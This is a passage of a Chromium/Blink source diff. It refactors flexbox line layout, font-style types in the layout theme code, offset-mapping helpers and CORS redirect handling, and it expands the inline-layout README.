-      available_free_space, justify_content, current_line->line_items.size());
-  if (Style()->FlexDirection() == EFlexDirection::kRowReverse &&
-      ShouldPlaceBlockDirectionScrollbarOnLogicalLeft())
-    main_axis_offset += IsHorizontalFlow() ? VerticalScrollbarWidth()
-                                           : HorizontalScrollbarHeight();
-
-  LayoutUnit total_main_extent = MainAxisExtent();
-  if (!ShouldPlaceBlockDirectionScrollbarOnLogicalLeft())
-    total_main_extent -= IsHorizontalFlow() ? VerticalScrollbarWidth()
-                                            : HorizontalScrollbarHeight();
-  LayoutUnit max_descent;  // Used when align-items: baseline.
-  LayoutUnit max_child_cross_axis_extent;
-  bool should_flip_main_axis = !IsColumnFlow() && !IsLeftToRightFlow();
-  bool is_paginated = View()->GetLayoutState()->IsPaginated();
+void LayoutFlexibleBox::LayoutLineItems(FlexLine* current_line,
+                                        bool relayout_children,
+                                        SubtreeLayoutScope& layout_scope) {
   for (size_t i = 0; i < current_line->line_items.size(); ++i) {
     const FlexItem& flex_item = current_line->line_items[i];
     LayoutBox* child = flex_item.box;
@@ -1765,6 +1736,41 @@
     if (child->NeedsLayout())
       relaid_out_children_.insert(child);
     child->LayoutIfNeeded();
+  }
+}
+
+DISABLE_CFI_PERF
+void LayoutFlexibleBox::PlaceLineItems(LayoutUnit& cross_axis_offset,
+                                       FlexLine* current_line,
+                                       LayoutUnit available_free_space) {
+  const StyleContentAlignmentData justify_content = ResolvedJustifyContent();
+
+  LayoutUnit auto_margin_offset = AutoMarginOffsetInMainAxis(
+      current_line->line_items, available_free_space);
+  LayoutUnit main_axis_offset =
+      FlowAwareBorderStart() + FlowAwarePaddingStart();
+  main_axis_offset += InitialContentPositionOffset(
+      available_free_space, justify_content, current_line->line_items.size());
+  if (Style()->FlexDirection() == EFlexDirection::kRowReverse &&
+      ShouldPlaceBlockDirectionScrollbarOnLogicalLeft()) {
+    main_axis_offset += IsHorizontalFlow() ? VerticalScrollbarWidth()
+                                           : HorizontalScrollbarHeight();
+  }
+
+  LayoutUnit total_main_extent = MainAxisExtent();
+  if (!ShouldPlaceBlockDirectionScrollbarOnLogicalLeft()) {
+    total_main_extent -= IsHorizontalFlow() ? VerticalScrollbarWidth()
+                                            : HorizontalScrollbarHeight();
+  }
+  LayoutUnit max_descent;  // Used when align-items: baseline.
+  LayoutUnit max_child_cross_axis_extent;
+  bool should_flip_main_axis = !IsColumnFlow() && !IsLeftToRightFlow();
+  bool is_paginated = View()->GetLayoutState()->IsPaginated();
+  for (size_t i = 0; i < current_line->line_items.size(); ++i) {
+    const FlexItem& flex_item = current_line->line_items[i];
+    LayoutBox* child = flex_item.box;
+
+    DCHECK(!flex_item.box->IsOutOfFlowPositioned());
 
     UpdateAutoMarginsInMainAxis(*child, auto_margin_offset);
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.h b/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.h
index c8bd58e..cc2340f 100644
--- a/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.h
+++ b/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.h
@@ -200,11 +200,10 @@
   void SetOverrideMainAxisContentSizeForChild(LayoutBox& child,
                                               LayoutUnit child_preferred_size);
   void PrepareChildForPositionedLayout(LayoutBox& child);
-  void LayoutAndPlaceChildren(LayoutUnit& cross_axis_offset,
-                              FlexLine*,
-                              LayoutUnit available_free_space,
-                              bool relayout_children,
-                              SubtreeLayoutScope&);
+  void LayoutLineItems(FlexLine*, bool relayout_children, SubtreeLayoutScope&);
+  void PlaceLineItems(LayoutUnit& cross_axis_offset,
+                      FlexLine*,
+                      LayoutUnit available_free_space);
   void LayoutColumnReverse(const Vector<FlexItem>&,
                            LayoutUnit cross_axis_offset,
                            LayoutUnit available_free_space);
diff --git a/third_party/WebKit/Source/core/layout/LayoutTableSection.cpp b/third_party/WebKit/Source/core/layout/LayoutTableSection.cpp
index e0d0732..e9651df4 100644
--- a/third_party/WebKit/Source/core/layout/LayoutTableSection.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutTableSection.cpp
@@ -1230,8 +1230,8 @@
       logical_offset, LayoutBlock::kAssociateWithLatterPage);
   if (remaining_logical_height >= row_logical_height)
     return 0;  // It fits fine where it is. No need to break.
-  LayoutUnit pagination_strut = CalculatePaginationStrutToFitContent(
-      logical_offset, remaining_logical_height, row_logical_height);
+  LayoutUnit pagination_strut =
+      CalculatePaginationStrutToFitContent(logical_offset, row_logical_height);
   if (pagination_strut == remaining_logical_height &&
       remaining_logical_height == page_logical_height) {
     // Don't break if we were at the top of a page, and we failed to fit the
diff --git a/third_party/WebKit/Source/core/layout/LayoutTheme.cpp b/third_party/WebKit/Source/core/layout/LayoutTheme.cpp
index e0d2856..4e7597d 100644
--- a/third_party/WebKit/Source/core/layout/LayoutTheme.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutTheme.cpp
@@ -725,12 +725,12 @@
   if (font_description.IsAbsoluteSize())
     return;
 
-  FontSelectionValue font_slope = NormalSlopeValue();
-  FontSelectionValue font_weight = NormalWeightValue();
+  FontStyle font_style = kFontStyleNormal;
+  FontWeight font_weight = kFontWeightNormal;
   float font_size = 0;
   AtomicString font_family;
-  SystemFont(system_font_id, font_slope, font_weight, font_size, font_family);
-  font_description.SetStyle(font_slope);
+  SystemFont(system_font_id, font_style, font_weight, font_size, font_family);
+  font_description.SetStyle(font_style);
   font_description.SetWeight(font_weight);
   font_description.SetSpecifiedSize(font_size);
   font_description.SetIsAbsoluteSize(true);
diff --git a/third_party/WebKit/Source/core/layout/LayoutTheme.h b/third_party/WebKit/Source/core/layout/LayoutTheme.h
index be7f30d..159da2a 100644
--- a/third_party/WebKit/Source/core/layout/LayoutTheme.h
+++ b/third_party/WebKit/Source/core/layout/LayoutTheme.h
@@ -26,7 +26,7 @@
 #include "core/CSSValueKeywords.h"
 #include "core/CoreExport.h"
 #include "platform/ThemeTypes.h"
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/graphics/Color.h"
 #include "platform/scroll/ScrollTypes.h"
 #include "platform/wtf/Forward.h"
@@ -159,8 +159,8 @@
 
   // System fonts and colors for CSS.
   virtual void SystemFont(CSSValueID system_font_id,
-                          FontSelectionValue& font_slope,
-                          FontSelectionValue& font_weight,
+                          FontStyle&,
+                          FontWeight&,
                           float& font_size,
                           AtomicString& font_family) const = 0;
   void SystemFont(CSSValueID system_font_id, FontDescription&);
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeDefault.cpp b/third_party/WebKit/Source/core/layout/LayoutThemeDefault.cpp
index d6df6f7..97819a4 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeDefault.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeDefault.cpp
@@ -254,11 +254,11 @@
 }
 
 void LayoutThemeDefault::SystemFont(CSSValueID system_font_id,
-                                    FontSelectionValue& font_slope,
-                                    FontSelectionValue& font_weight,
+                                    FontStyle& font_style,
+                                    FontWeight& font_weight,
                                     float& font_size,
                                     AtomicString& font_family) const {
-  LayoutThemeFontProvider::SystemFont(system_font_id, font_slope, font_weight,
+  LayoutThemeFontProvider::SystemFont(system_font_id, font_style, font_weight,
                                       font_size, font_family);
 }
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeDefault.h b/third_party/WebKit/Source/core/layout/LayoutThemeDefault.h
index 56c07204..3fce86c 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeDefault.h
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeDefault.h
@@ -84,8 +84,8 @@
 
   // System fonts.
   virtual void SystemFont(CSSValueID system_font_id,
-                          FontSelectionValue& font_slope,
-                          FontSelectionValue& font_weight,
+                          FontStyle&,
+                          FontWeight&,
                           float& font_size,
                           AtomicString& font_family) const;
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeFontProvider.h b/third_party/WebKit/Source/core/layout/LayoutThemeFontProvider.h
index 97e739cf..9541021 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeFontProvider.h
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeFontProvider.h
@@ -28,7 +28,7 @@
 
 #include "core/CSSValueKeywords.h"
 #include "core/CoreExport.h"
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/wtf/Allocator.h"
 #include "platform/wtf/text/AtomicString.h"
 
@@ -39,8 +39,8 @@
 
  public:
   static void SystemFont(CSSValueID system_font_id,
-                         FontSelectionValue& slope,
-                         FontSelectionValue& weight,
+                         FontStyle&,
+                         FontWeight&,
                          float& font_size,
                          AtomicString& font_family);
   static void SetDefaultFontSize(int);
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderDefault.cpp b/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderDefault.cpp
index 758a3a5e..55830d38 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderDefault.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderDefault.cpp
@@ -39,12 +39,12 @@
 
 // static
 void LayoutThemeFontProvider::SystemFont(CSSValueID system_font_id,
-                                         FontSelectionValue& font_slope,
-                                         FontSelectionValue& font_weight,
+                                         FontStyle& font_style,
+                                         FontWeight& font_weight,
                                          float& font_size,
                                          AtomicString& font_family) {
-  font_weight = NormalWeightValue();
-  font_slope = NormalSlopeValue();
+  font_weight = kFontWeightNormal;
+  font_style = kFontStyleNormal;
   font_size = default_font_size_;
   font_family = DefaultGUIFont();
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderWin.cpp b/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderWin.cpp
index c5d93ac..4a3959d 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderWin.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeFontProviderWin.cpp
@@ -41,12 +41,12 @@
 
 // static
 void LayoutThemeFontProvider::SystemFont(CSSValueID system_font_id,
-                                         FontSelectionValue& font_style,
-                                         FontSelectionValue& font_weight,
+                                         FontStyle& font_style,
+                                         FontWeight& font_weight,
                                          float& font_size,
                                          AtomicString& font_family) {
-  font_style = NormalSlopeValue();
-  font_weight = NormalWeightValue();
+  font_style = kFontStyleNormal;
+  font_weight = kFontWeightNormal;
   font_size = default_font_size_;
   font_family = DefaultGUIFont();
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeMac.h b/third_party/WebKit/Source/core/layout/LayoutThemeMac.h
index 064c22ec..b3aa172 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeMac.h
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeMac.h
@@ -62,8 +62,8 @@
 
   // System fonts.
   void SystemFont(CSSValueID system_font_id,
-                  FontSelectionValue& font_slope,
-                  FontSelectionValue& font_weight,
+                  FontStyle&,
+                  FontWeight&,
                   float& font_size,
                   AtomicString& font_family) const override;
 
diff --git a/third_party/WebKit/Source/core/layout/LayoutThemeMac.mm b/third_party/WebKit/Source/core/layout/LayoutThemeMac.mm
index 037e3319..d54e902b 100644
--- a/third_party/WebKit/Source/core/layout/LayoutThemeMac.mm
+++ b/third_party/WebKit/Source/core/layout/LayoutThemeMac.mm
@@ -212,7 +212,7 @@
   return PlatformInactiveSelectionBackgroundColor();
 }
 
-static FontSelectionValue ToFontWeight(NSInteger app_kit_font_weight) {
+static FontWeight ToFontWeight(NSInteger app_kit_font_weight) {
   DCHECK_GT(app_kit_font_weight, 0);
   DCHECK_LT(app_kit_font_weight, 15);
   if (app_kit_font_weight > 14)
@@ -220,12 +220,11 @@
   else if (app_kit_font_weight < 1)
     app_kit_font_weight = 1;
 
-  static FontSelectionValue font_weights[] = {
-      FontSelectionValue(100), FontSelectionValue(100), FontSelectionValue(200),
-      FontSelectionValue(300), FontSelectionValue(400), FontSelectionValue(500),
-      FontSelectionValue(600), FontSelectionValue(600), FontSelectionValue(700),
-      FontSelectionValue(800), FontSelectionValue(800), FontSelectionValue(900),
-      FontSelectionValue(900), FontSelectionValue(900)};
+  static FontWeight font_weights[] = {
+      kFontWeight100, kFontWeight100, kFontWeight200, kFontWeight300,
+      kFontWeight400, kFontWeight500, kFontWeight600, kFontWeight600,
+      kFontWeight700, kFontWeight800, kFontWeight800, kFontWeight900,
+      kFontWeight900, kFontWeight900};
   return font_weights[app_kit_font_weight - 1];
 }
 
@@ -253,8 +252,8 @@
 }
 
 void LayoutThemeMac::SystemFont(CSSValueID system_font_id,
-                                FontSelectionValue& font_slope,
-                                FontSelectionValue& font_weight,
+                                FontStyle& font_style,
+                                FontWeight& font_weight,
                                 float& font_size,
                                 AtomicString& font_family) const {
   NSFont* font = SystemNSFont(system_font_id);
@@ -262,9 +261,9 @@
     return;
 
   NSFontManager* font_manager = [NSFontManager sharedFontManager];
-  font_slope = ([font_manager traitsOfFont:font] & NSItalicFontMask)
-                   ? ItalicSlopeValue()
-                   : NormalSlopeValue();
+  font_style = ([font_manager traitsOfFont:font] & NSItalicFontMask)
+                   ? kFontStyleItalic
+                   : kFontStyleNormal;
   font_weight = ToFontWeight([font_manager weightOfFont:font]);
   font_size = [font pointSize];
   font_family = FontFamilyNames::system_ui;
diff --git a/third_party/WebKit/Source/core/layout/MinMaxSize.cc b/third_party/WebKit/Source/core/layout/MinMaxSize.cpp
similarity index 81%
rename from third_party/WebKit/Source/core/layout/MinMaxSize.cc
rename to third_party/WebKit/Source/core/layout/MinMaxSize.cpp
index eb3699e70..326ebda4 100644
--- a/third_party/WebKit/Source/core/layout/MinMaxSize.cc
+++ b/third_party/WebKit/Source/core/layout/MinMaxSize.cpp
@@ -11,8 +11,8 @@
   return std::min(max_size, std::max(min_size, available_size));
 }
 
-bool MinMaxSize::operator==(const MinMaxSize& other) const {
-  return min_size == other.min_size && max_size == other.max_size;
+LayoutUnit MinMaxSize::ClampSizeToMinAndMax(LayoutUnit size) const {
+  return std::max(min_size, std::min(size, max_size));
 }
 
 std::ostream& operator<<(std::ostream& stream, const MinMaxSize& value) {
diff --git a/third_party/WebKit/Source/core/layout/MinMaxSize.h b/third_party/WebKit/Source/core/layout/MinMaxSize.h
index e0a9e8e..f7f8de00 100644
--- a/third_party/WebKit/Source/core/layout/MinMaxSize.h
+++ b/third_party/WebKit/Source/core/layout/MinMaxSize.h
@@ -16,10 +16,18 @@
 struct CORE_EXPORT MinMaxSize {
   LayoutUnit min_size;
   LayoutUnit max_size;
+
   // Interprets the sizes as a min-content/max-content pair and computes the
   // "shrink-to-fit" size based on them for the given available size.
   LayoutUnit ShrinkToFit(LayoutUnit available_size) const;
-  bool operator==(const MinMaxSize& other) const;
+
+  // Interprets the sizes as a {min-max}-size pair and clamps the given input
+  // size to that.
+  LayoutUnit ClampSizeToMinAndMax(LayoutUnit) const;
+
+  bool operator==(const MinMaxSize& other) const {
+    return min_size == other.min_size && max_size == other.max_size;
+  }
 };
 
 CORE_EXPORT std::ostream& operator<<(std::ostream&, const MinMaxSize&);
diff --git a/third_party/WebKit/Source/core/layout/MinMaxSizeTest.cc b/third_party/WebKit/Source/core/layout/MinMaxSizeTest.cpp
similarity index 100%
rename from third_party/WebKit/Source/core/layout/MinMaxSizeTest.cc
rename to third_party/WebKit/Source/core/layout/MinMaxSizeTest.cpp
diff --git a/third_party/WebKit/Source/core/layout/ng/inline/README.md b/third_party/WebKit/Source/core/layout/ng/inline/README.md
index 422ea54..3b1f7818 100644
--- a/third_party/WebKit/Source/core/layout/ng/inline/README.md
+++ b/third_party/WebKit/Source/core/layout/ng/inline/README.md
@@ -7,13 +7,66 @@
 
 Other parts of LayoutNG is explained [here](../README.md).
 
-## High level overview ##
+## What is Inline Layout ##
+
+Inline layout is one of [CSS normal flow] layout models.
+
+From the CSS2 spec on [inline formatting context]:
+an inline formatting context is established by a block container box
+that contains no [block-level] boxes.
+
+[block-level]: https://drafts.csswg.org/css2/visuren.html#block-level
+[CSS normal flow]: https://drafts.csswg.org/css2/visuren.html#normal-flow
+[inline formatting context]: https://drafts.csswg.org/css2/visuren.html#inline-formatting
+[inline-level]: https://drafts.csswg.org/css2/visuren.html#inline-level
+
+*** note
+Current code determines [inline formatting context]
+using slightly different criteria,
+but this is still to be discussed.
+See crbug.com/734554.
+***
+
+Following DOM tree is transformed to fragment tree
+as in the following.
+
+|||---|||
+### DOM ###
+
+```html
+<div>
+  <span>
+    Hello
+  </span>
+</div>
+```
+
+### NGLayoutInputNode ###
+
+* NGBlockNode
+  - NGInlineNode
+    - NGInlineItem (open tag, span)
+    - NGInlineItem (text, "Hello")
+    - NGInlineItem (close tag, span)
+
+### Fragment tree ###
+
+* NGPhysicalBoxFragment
+  - NGPhysicalBoxFragment (anonymous wrapper)
+    - NGPhysicalLineBoxFragment
+      - NGPhysicalBoxFragment (span, may be omitted)
+        - NGPhysicalTextFragment ("Hello")
+|||---|||
+
+## Inline Layout Phases ##
 
 Inline layout is performed in the following phases:
 
-1. Pre-layout.
-2. Line breaking.
-3. Line box construction.
+1. **Pre-layout** converts LayoutObject tree to a concatenated string
+   and a list of [NGInlineItem].
+2. **Line breaking** breaks it into lines and
+   produces a list of [NGInlineItemResult] for each line.
+3. **Line box construction** produces a fragment tree.
 
 This is similar to [CSS Text Processing Order of Operations],
 but not exactly the same,
@@ -131,7 +184,7 @@
 [line-right]: https://drafts.csswg.org/css-writing-modes-3/#line-right
 [text-align]: https://drafts.csswg.org/css-text-3/#propdef-text-align
 
-### Inline Box Tree ###
+#### Inline Box Tree ####
 [Inline Box Tree]: #inline-box-tree
 
 A flat list structure is suitable for many inline operations,
@@ -166,6 +219,26 @@
 [height of inline, non-replaced elements depends on the content area]: https://drafts.csswg.org/css2/visudet.html#inline-non-replaced
 [vertical-align]: https://drafts.csswg.org/css2/visudet.html#propdef-vertical-align
 
+#### Box Fragments in Line Box Fragments ####
+
+Not all [inline-level] boxes produces [NGPhysicalBoxFragment]s.
+
+[NGInlineLayoutAlgorithm] determines
+whether a [NGPhysicalBoxFragment] is needed or not,
+such as when a `<span>` has borders,
+and calls [NGInlineBoxState]`::SetNeedsBoxFragment()`.
+
+Since [NGPhysicalBoxFragment] needs to know its children
+and size before creating it,
+`NGInlineLayoutStateStack::AddBoxFragmentPlaceholder()`
+first creates placeholders.
+We then add children,
+and adjust positions both horizontally and vertically.
+
+Once all children and their positions and sizes are finalized,
+`NGInlineLayoutStateStack::CreateBoxFragments()`
+creates [NGPhysicalBoxFragment] and add children to it.
+
 ## Miscellaneous topics ##
 
 ### Baseline ###
@@ -239,6 +312,7 @@
 [NGBaselineAlgorithmType]: ng_baseline.h
 [NGBaselineRequest]: ng_baseline.h
 [NGBidiParagraph]: ng_bidi_paragraph.h
+[NGBlockNode]: ../ng_block_node.h
 [NGBoxFragment]: ../ng_box_fragment.h
 [NGConstraintSpace]: ../ng_constraint_space_builder.h
 [NGConstraintSpaceBuilder]: ../ng_constraint_space_builder.h
diff --git a/third_party/WebKit/Source/core/layout/ng/inline/ng_inline_node.cc b/third_party/WebKit/Source/core/layout/ng/inline/ng_inline_node.cc
index d025f2de..cebf9379 100644
--- a/third_party/WebKit/Source/core/layout/ng/inline/ng_inline_node.cc
+++ b/third_party/WebKit/Source/core/layout/ng/inline/ng_inline_node.cc
@@ -700,26 +700,6 @@
   return result.GetMappingUnitForDOMOffset(ToLayoutText(layout_object), offset);
 }
 
-// TODO(xiaochengh): Move this function body to ng_offset_mapping_result.cc
-const NGOffsetMappingUnit* NGOffsetMappingResult::GetMappingUnitForDOMOffset(
-    const LayoutText* layout_text,
-    unsigned offset) const {
-  unsigned range_start;
-  unsigned range_end;
-  std::tie(range_start, range_end) = ranges_.at(layout_text);
-  if (range_start == range_end || units_[range_start].DOMStart() > offset)
-    return nullptr;
-  // Find the last unit where unit.dom_start <= offset
-  const NGOffsetMappingUnit* unit = std::prev(std::upper_bound(
-      units_.begin() + range_start, units_.begin() + range_end, offset,
-      [](unsigned offset, const NGOffsetMappingUnit& unit) {
-        return offset < unit.DOMStart();
-      }));
-  if (unit->DOMEnd() < offset)
-    return nullptr;
-  return unit;
-}
-
 size_t NGInlineNode::GetTextContentOffset(const Node& node, unsigned offset) {
   const NGOffsetMappingUnit* unit = GetMappingUnitForDOMOffset(node, offset);
   if (!unit)
@@ -727,22 +707,4 @@
   return unit->ConvertDOMOffsetToTextContent(offset);
 }
 
-// TODO(xiaochengh): Move this function body to ng_offset_mapping_result.cc
-unsigned NGOffsetMappingUnit::ConvertDOMOffsetToTextContent(
-    unsigned offset) const {
-  DCHECK_GE(offset, dom_start_);
-  DCHECK_LE(offset, dom_end_);
-  // DOM start is always mapped to text content start.
-  if (offset == dom_start_)
-    return text_content_start_;
-  // DOM end is always mapped to text content end.
-  if (offset == dom_end_)
-    return text_content_end_;
-  // Handle collapsed mapping.
-  if (text_content_start_ == text_content_end_)
-    return text_content_start_;
-  // Handle has identity mapping.
-  return offset - dom_start_ + text_content_start_;
-}
-
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/layout/ng/inline/ng_offset_mapping_result.cc b/third_party/WebKit/Source/core/layout/ng/inline/ng_offset_mapping_result.cc
index c2143ca..98b5751 100644
--- a/third_party/WebKit/Source/core/layout/ng/inline/ng_offset_mapping_result.cc
+++ b/third_party/WebKit/Source/core/layout/ng/inline/ng_offset_mapping_result.cc
@@ -19,6 +19,23 @@
       text_content_start_(text_content_start),
       text_content_end_(text_content_end) {}
 
+unsigned NGOffsetMappingUnit::ConvertDOMOffsetToTextContent(
+    unsigned offset) const {
+  DCHECK_GE(offset, dom_start_);
+  DCHECK_LE(offset, dom_end_);
+  // DOM start is always mapped to text content start.
+  if (offset == dom_start_)
+    return text_content_start_;
+  // DOM end is always mapped to text content end.
+  if (offset == dom_end_)
+    return text_content_end_;
+  // Handle collapsed mapping.
+  if (text_content_start_ == text_content_end_)
+    return text_content_start_;
+  // Handle has identity mapping.
+  return offset - dom_start_ + text_content_start_;
+}
+
 NGOffsetMappingResult::NGOffsetMappingResult(NGOffsetMappingResult&& other)
     : NGOffsetMappingResult(std::move(other.units_), std::move(other.ranges_)) {
 }
@@ -27,4 +44,23 @@
                                              RangeMap&& ranges)
     : units_(units), ranges_(ranges) {}
 
+const NGOffsetMappingUnit* NGOffsetMappingResult::GetMappingUnitForDOMOffset(
+    const LayoutText* layout_text,
+    unsigned offset) const {
+  unsigned range_start;
+  unsigned range_end;
+  std::tie(range_start, range_end) = ranges_.at(layout_text);
+  if (range_start == range_end || units_[range_start].DOMStart() > offset)
+    return nullptr;
+  // Find the last unit where unit.dom_start <= offset
+  const NGOffsetMappingUnit* unit = std::prev(std::upper_bound(
+      units_.begin() + range_start, units_.begin() + range_end, offset,
+      [](unsigned offset, const NGOffsetMappingUnit& unit) {
+        return offset < unit.DOMStart();
+      }));
+  if (unit->DOMEnd() < offset)
+    return nullptr;
+  return unit;
+}
+
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/loader/BUILD.gn b/third_party/WebKit/Source/core/loader/BUILD.gn
index e7cb4a2..2882774 100644
--- a/third_party/WebKit/Source/core/loader/BUILD.gn
+++ b/third_party/WebKit/Source/core/loader/BUILD.gn
@@ -60,6 +60,8 @@
     "ScheduledNavigation.h",
     "SubresourceFilter.cpp",
     "SubresourceFilter.h",
+    "SubresourceIntegrityHelper.cpp",
+    "SubresourceIntegrityHelper.h",
     "TextResourceDecoderBuilder.cpp",
     "TextResourceDecoderBuilder.h",
     "TextTrackLoader.cpp",
diff --git a/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp b/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp
index 292c0da..a3d5d904 100644
--- a/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp
+++ b/third_party/WebKit/Source/core/loader/DocumentThreadableLoader.cpp
@@ -237,7 +237,8 @@
                                                                  client_);
     ThreadableLoaderClient* client = client_;
     Clear();
-    client->DidFail(ResourceError(kErrorDomainBlinkInternal, 0, request.Url(),
+    client->DidFail(ResourceError(ResourceError::Domain::kBlinkInternal, 0,
+                                  request.Url(),
                                   "Cross origin requests are not supported."));
     return;
   }
@@ -539,7 +540,7 @@
 // resource by calling clearResource().
 bool DocumentThreadableLoader::RedirectReceived(
     Resource* resource,
-    const ResourceRequest& request,
+    const ResourceRequest& new_request,
     const ResourceResponse& redirect_response) {
   DCHECK(client_);
   DCHECK_EQ(resource, this->GetResource());
@@ -549,20 +550,23 @@
 
   checker_.RedirectReceived();
 
+  const KURL& new_url = new_request.Url();
+  const KURL& original_url = redirect_response.Url();
+
   if (!actual_request_.IsNull()) {
     ReportResponseReceived(resource->Identifier(), redirect_response);
 
-    HandlePreflightFailure(redirect_response.Url(),
+    HandlePreflightFailure(original_url,
                            "Response for preflight is invalid (redirect)");
 
     return false;
   }
 
   if (redirect_mode_ == WebURLRequest::kFetchRedirectModeManual) {
-    // We use |m_redirectMode| to check the original redirect mode. |request| is
-    // a new request for redirect. So we don't set the redirect mode of it in
-    // WebURLLoaderImpl::Context::OnReceivedRedirect().
-    DCHECK(request.UseStreamOnResponse());
+    // We use |redirect_mode_| to check the original redirect mode.
+    // |new_request| is a new request for redirect. So we don't set the
+    // redirect mode of it in WebURLLoaderImpl::Context::OnReceivedRedirect().
+    DCHECK(new_request.UseStreamOnResponse());
     // There is no need to read the body of redirect response because there is
     // no way to read the body of opaque-redirect filtered response's internal
     // response.
@@ -590,11 +594,11 @@
 
   // Allow same origin requests to continue after allowing clients to audit the
   // redirect.
-  if (IsAllowedRedirect(request.GetFetchRequestMode(), request.Url())) {
-    client_->DidReceiveRedirectTo(request.Url());
+  if (IsAllowedRedirect(new_request.GetFetchRequestMode(), new_url)) {
+    client_->DidReceiveRedirectTo(new_url);
     if (client_->IsDocumentThreadableLoaderClient()) {
       return static_cast<DocumentThreadableLoaderClient*>(client_)
-          ->WillFollowRedirect(request, redirect_response);
+          ->WillFollowRedirect(new_request, redirect_response);
     }
     return true;
   }
@@ -618,31 +622,31 @@
   String access_control_error_description;
 
   CrossOriginAccessControl::RedirectStatus redirect_status =
-      CrossOriginAccessControl::CheckRedirectLocation(request.Url());
+      CrossOriginAccessControl::CheckRedirectLocation(new_url);
   bool allow_redirect =
       redirect_status == CrossOriginAccessControl::kRedirectSuccess;
   if (!allow_redirect) {
     StringBuilder builder;
     builder.Append("Redirect from '");
-    builder.Append(redirect_response.Url().GetString());
+    builder.Append(original_url.GetString());
     builder.Append("' has been blocked by CORS policy: ");
     CrossOriginAccessControl::RedirectErrorString(builder, redirect_status,
-                                                  request.Url());
+                                                  new_url);
     access_control_error_description = builder.ToString();
   } else if (cors_flag_) {
     // The redirect response must pass the access control check if the CORS
     // flag is set.
     CrossOriginAccessControl::AccessStatus cors_status =
-        CrossOriginAccessControl::CheckAccess(redirect_response,
-                                              request.GetFetchCredentialsMode(),
-                                              GetSecurityOrigin());
+        CrossOriginAccessControl::CheckAccess(
+            redirect_response, new_request.GetFetchCredentialsMode(),
+            GetSecurityOrigin());
     allow_redirect = cors_status == CrossOriginAccessControl::kAccessAllowed;
     if (!allow_redirect) {
       StringBuilder builder;
       builder.Append("Redirect from '");
-      builder.Append(redirect_response.Url().GetString());
+      builder.Append(original_url.GetString());
       builder.Append("' to '");
-      builder.Append(request.Url().GetString());
+      builder.Append(new_url.GetString());
       builder.Append("' has been blocked by CORS policy: ");
       CrossOriginAccessControl::AccessControlErrorString(
           builder, cors_status, redirect_response, GetSecurityOrigin(),
@@ -654,12 +658,12 @@
   if (!allow_redirect) {
     DispatchDidFailAccessControlCheck(
         ResourceError::CancelledDueToAccessCheckError(
-            redirect_response.Url(), ResourceRequestBlockedReason::kOther,
+            original_url, ResourceRequestBlockedReason::kOther,
             access_control_error_description));
     return false;
   }
 
-  client_->DidReceiveRedirectTo(request.Url());
+  client_->DidReceiveRedirectTo(new_url);
 
   // FIXME: consider combining this with CORS redirect handling performed by
   // CrossOriginAccessControl::handleRedirect().
@@ -674,10 +678,9 @@
   // See https://fetch.spec.whatwg.org/#http-redirect-fetch.
   if (cors_flag_) {
     RefPtr<SecurityOrigin> original_origin =
-        SecurityOrigin::Create(redirect_response.Url());
-    RefPtr<SecurityOrigin> request_origin =
-        SecurityOrigin::Create(request.Url());
-    if (!original_origin->IsSameSchemeHostPort(request_origin.Get()))
+        SecurityOrigin::Create(original_url);
+    RefPtr<SecurityOrigin> new_origin = SecurityOrigin::Create(new_url);
+    if (!original_origin->IsSameSchemeHostPort(new_origin.Get()))
       security_origin_ = SecurityOrigin::CreateUnique();
   }
 
@@ -689,9 +692,9 @@
   // Save the referrer to use when following the redirect.
   override_referrer_ = true;
   referrer_after_redirect_ =
-      Referrer(request.HttpReferrer(), request.GetReferrerPolicy());
+      Referrer(new_request.HttpReferrer(), new_request.GetReferrerPolicy());
 
-  ResourceRequest cross_origin_request(request);
+  ResourceRequest cross_origin_request(new_request);
 
   // Remove any headers that may have been added by the network layer that cause
   // access control to fail.
@@ -1103,8 +1106,8 @@
     // notified and |client| is null.
     if (!client)
       return;
-    client->DidFail(ResourceError(kErrorDomainBlinkInternal, 0, request.Url(),
-                                  "Failed to start loading."));
+    client->DidFail(ResourceError(ResourceError::Domain::kBlinkInternal, 0,
+                                  request.Url(), "Failed to start loading."));
     return;
   }
 
diff --git a/third_party/WebKit/Source/core/loader/FrameLoader.cpp b/third_party/WebKit/Source/core/loader/FrameLoader.cpp
index 390239d7..d48adc07 100644
--- a/third_party/WebKit/Source/core/loader/FrameLoader.cpp
+++ b/third_party/WebKit/Source/core/loader/FrameLoader.cpp
@@ -856,7 +856,8 @@
   Frame* target_frame = request.Form()
                             ? nullptr
                             : frame_->FindFrameForNavigation(
-                                  AtomicString(request.FrameName()), *frame_);
